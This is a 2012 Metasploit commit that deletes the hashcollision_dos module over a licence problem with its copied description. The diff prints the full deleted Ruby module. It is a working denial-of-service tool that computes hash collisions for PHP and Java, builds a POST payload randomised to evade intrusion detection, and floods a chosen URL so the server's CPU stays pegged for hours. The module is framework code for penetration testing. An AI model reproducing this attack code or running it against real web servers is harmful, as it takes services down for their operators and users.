Removing hashcollision_dos module due to license violation

The description text is a copy-paste of
http://www.ocert.org/advisories/ocert-2011-003.html , which has a
specific creative commons liscence prohibiting derivative works.

Since I have no idea what else in this module is a license violating,
I'm pulling it completely. I suspect a lot, though -- there are weird
all-caps methods in the module that look like copy-pastes as well.

Next time, please contribute original work, or at least work that is not
encumbered by restrictive licensing.
This commit is contained in:
Tod Beardsley 2012-05-21 11:28:58 -05:00
parent 675dfe4e14
commit 4772c1258e
1 changed files with 0 additions and 217 deletions

View File

@ -1,217 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Hashtable Collisions',
'Description' => %q{
A variety of programming languages suffer from a denial-of-service (DoS) condition
against storage functions of key/value pairs in hash data structures, the
condition can be leveraged by exploiting predictable collisions in the underlying
hashing algorithms.
The issue finds particular exposure in web server applications and/or frameworks.
In particular, the lack of sufficient limits for the number of parameters in POST
requests in conjunction with the predictable collision properties in the hashing
functions of the underlying languages can render web applications vulnerable to the
DoS condition. The attacker, using specially crafted HTTP requests, can lead to a
100% of CPU usage which can last up to several hours depending on the targeted
application and server performance, the amplification effect is considerable and
requires little bandwidth and time on the attacker side.
Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload
to bypass IDS.
},
'Author' =>
[
'Christian Mehlmauer <FireFart[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'],
['CVE', '2011-5034'],
['CVE', '2011-5035'],
['CVE', '2011-4885'],
['CVE', '2011-4858']
],
'DisclosureDate'=> 'Dec 28 2011'
))
register_options(
[
Opt::RPORT(80),
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
OptString.new('URL', [ true, "The request URI", '/' ]),
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
], self.class)
register_advanced_options(
[
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
], self.class)
end
def generate_payload
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
@recursivecounter = 1
collisionchars = compute_collision_chars
return nil if collisionchars == nil
length = datastore['payloadlength']
size = collisionchars.length
post = ""
maxvaluefloat = size ** length
maxvalueint = maxvaluefloat.floor
print_status("Generating POST data...")
for i in 0.upto(maxvalueint)
inputstring = i.to_s(size)
result = inputstring.rjust(length, "0")
collisionchars.each {|key, value|
result = result.gsub(key, value)
}
post << "#{Rex::Text.uri_encode(result)}=&"
end
return post
end
def compute_collision_chars
print_status("Trying to find hashes...") if @recursivecounter == 1
hashes = {}
counter = 0
length = datastore['collisioncharlength']
a = []
for i in @charrange
a << i.chr
end
# Generate all possible strings
source = a.repeated_permutation(length).map(&:join)
# and pick a random one
basestr = source.sample
basehash = @function.call(basestr)
hashes[counter.to_s] = basestr
counter = counter + 1
for item in source
if item == basestr
next
end
if @function.call(item) == basehash
# Hooray we found a matching hash
hashes[counter.to_s] = item
counter = counter + 1
end
if counter >= datastore['collisionchars']
break
end
end
if counter < datastore['collisionchars']
# Try it again
if @recursivecounter > datastore['recursivemax']
print_error("Not enough values found. Please start this module again")
return nil
end
print_status("#{@recursivecounter}: Not enough values found. Trying again...")
@recursivecounter = @recursivecounter + 1
hashes = compute_collision_chars
else
print_status("Found values:")
hashes.each_value {|item|
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
item.each_char {|i|
print_status("\t\tValue: #{i}\tCharcode: #{i.ord}")
}
}
end
return hashes
end
def DJBXA(inputstring, base, start)
counter = inputstring.length - 1
result = start
inputstring.each_char {|item|
result = result + ((base ** counter) * item.ord)
counter = counter - 1
}
return result.round
end
# PHP's hash function
def DJBX33A(inputstring)
return DJBXA(inputstring, 33, 5381)
end
# Java's hash function
def DJBX31A(inputstring)
return DJBXA(inputstring, 31, 0)
end
def run
case datastore['TARGET']
when /php/i
@function = method(:DJBX33A)
@charrange = Range.new(0, 255)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 8
end
when /java/i
@function = method(:DJBX31A)
@charrange = Range.new(0, 128)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 2
end
else
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
end
print_status("Generating payload...")
payload = generate_payload
return if payload == nil
# trim to maximum payload size (in MB)
maxinmb = datastore['maxpayloadsize']*1024*1024
payload = payload[0,maxinmb]
# remove last invalid(cut off) parameter
position = payload.rindex("=&")
payload = payload[0,position+1]
print_status("Payload generated")
for x in 1..datastore['RLIMIT']
print_status("Sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => datastore['URL'],
'data' => payload
}
c = connect
r = c.request_cgi(opts)
c.send_request(r)
disconnect(c)
# Don't wait for a response, can take hours
end
end
end